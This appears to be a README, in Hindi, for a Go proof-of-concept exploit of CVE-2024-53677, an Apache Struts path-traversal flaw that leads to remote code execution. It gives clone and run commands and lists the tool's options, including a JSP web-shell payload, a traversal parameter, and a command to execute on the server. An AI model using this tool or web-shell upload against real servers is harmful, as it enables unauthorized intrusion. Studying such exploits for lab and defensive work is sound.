
CVE-2024-53677 का एक प्रूफ ऑफ कॉन्सेप्ट
एक पुरानी कमज़ोरी जो Apache Struts को प्रभावित करती है, जिससे LFI और दूरस्थ निष्पादन (remote execution) होता है।
Apache Struts path traversal → RCE (CVE-2024-53677)
मैंने इसे यथासंभव अनुकूलन योग्य बनाने में बहुत समय बिताया है, क्योंकि जब मैंने पहली बार इस CVE का सामना किया, तो मुझे कोई अच्छा स्रोत नहीं मिला जो इसे सही ढंग से लागू करता हो। अधिकांश फ़्लैग के डिफ़ॉल्ट मान हैं, इसलिए इन सभी फ़्लैग को देखकर निराश न हों।
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
इन सभी कमांड के डिफ़ॉल्ट मान हैं। मैंने एक परीक्षण फ़ंक्शन भी लागू किया है जो यह जाँचता है कि फ़ाइल कहाँ रखी जानी चाहिए, और यह उपयोगकर्ता द्वारा कॉन्फ़िगर करने योग्य विकल्प भी है।
go run . -url http://127.0.0.1:8080/ -end-point upload.action
कुछ बातें ध्यान देने योग्य हैं।
बेझिझक एक्सप्लॉइट में बदलाव करें या जोड़ें ♥️।